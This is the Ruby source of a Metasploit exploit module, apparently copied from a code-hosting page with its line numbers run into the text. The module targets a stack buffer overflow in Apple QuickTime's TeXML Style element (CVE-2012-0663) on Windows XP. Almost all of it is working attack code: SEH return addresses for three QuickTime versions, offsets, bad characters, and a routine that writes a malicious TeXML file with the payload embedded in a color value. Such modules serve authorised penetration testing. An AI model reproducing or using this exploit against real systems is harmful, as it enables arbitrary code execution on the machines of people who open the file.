Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/apple_quicktime_texml.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Apple QuickTime TeXML Style Element Stack Buffer Overflow',14'Description' => %q{15This module exploits a vulnerability found in Apple QuickTime. When handling16a TeXML file, it is possible to trigger a stack-based buffer overflow, and then17gain arbitrary code execution under the context of the user. This is due to the18QuickTime3GPP.gtx component not handling certain Style subfields properly, storing19user-supplied data on the stack, which results the overflow.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Alexander Gavrun', # Vulnerability Discovery25'sinn3r', # Metasploit Module26'juan vazquez' # Metasploit Module27],28'References' =>29[30[ 'OSVDB', '81934' ],31[ 'CVE', '2012-0663' ],32[ 'BID', '53571' ],33[ 'ZDI', '12-107' ],34[ 'URL', 'http://0x1byte.blogspot.com/2012/06/cve-2012-0663-and-cve-2012-0664-samples.html' ],35[ 'URL', 'http://support.apple.com/kb/HT1222' ]36],37'Payload' =>38{39'DisableNops' => true,40'BadChars' => "\x00\x23\x25\x3c\x3e\x7d"41},42'Platform' => 'win',43'Targets' =>44[45[ 'QuickTime 7.7.1 on Windows XP SP3',46{47'Ret' => 0x66f1bdf8, # POP ESI/POP EDI/RET from QuickTime.qts (7.71.80.42)48'Offset' => 643,49'Max' => 1350850}51],52[ 'QuickTime 7.7.0 on Windows XP SP3',53{54'Ret' => 0x66F1BD66, # PPR from QuickTime.qts (7.70.80.34)55'Offset' => 643,56'Max' => 1350857}58],59[ 'QuickTime 7.6.9 on Windows XP SP3',60{61'Ret' => 0x66801042, # PPR from QuickTime.qts (7.69.80.9)62'Offset' => 643,63'Max' => 1350864}65],66],67'Privileged' => false,68'DisclosureDate' => '2012-05-15'))6970register_options(71[72OptString.new('FILENAME', [ true, 'The file name.', 'msf.xml']),73])74end7576def exploit77my_payload = rand_text(target['Offset'])78my_payload << generate_seh_record(target.ret)79my_payload << payload.encoded80my_payload << rand_text(target['Max'] - my_payload.length)8182texml = <<-eos83<?xml version="1.0"?>84<?quicktime type="application/x-quicktime-texml"?>8586<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"87language="eng" timeScale="600"88transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">89<sample duration="2400" keyframe="true">9091<description format="tx3g" displayFlags="ScrollIn"92horizontalJustification="Left"93verticalJustification="Top"94backgroundColor="0%, 0%, 0%, 100%">9596<defaultTextBox x="0" y="0" width="176" height="60"/>97<fontTable>98<font id="1" name="Times"/>99</fontTable>100101<sharedStyles>102<style id="1">103{font-table: 1} {font-size: 10}104{font-style:normal}105{font-weight: normal}106{color: #{my_payload}%, 100%, 100%, 100%}107</style>108</sharedStyles>109</description>110111<sampleData scrollDelay="200"112highlightColor="25%, 45%, 65%, 100%"113targetEncoding="utf8">114115<textBox x="10" y="10" width="156" height="40"/>116<text styleID="1">What you need... Metasploit!</text>117<highlight startMarker="1" endMarker="2"/>118<blink startMarker="3" endMarker="4"/>119</sampleData>120</sample>121</text3GTrack>122eos123124texml = texml.gsub(/^ {4}/,'')125126print_status("Creating '#{datastore['FILENAME']}'.")127file_create(texml)128end129end130131132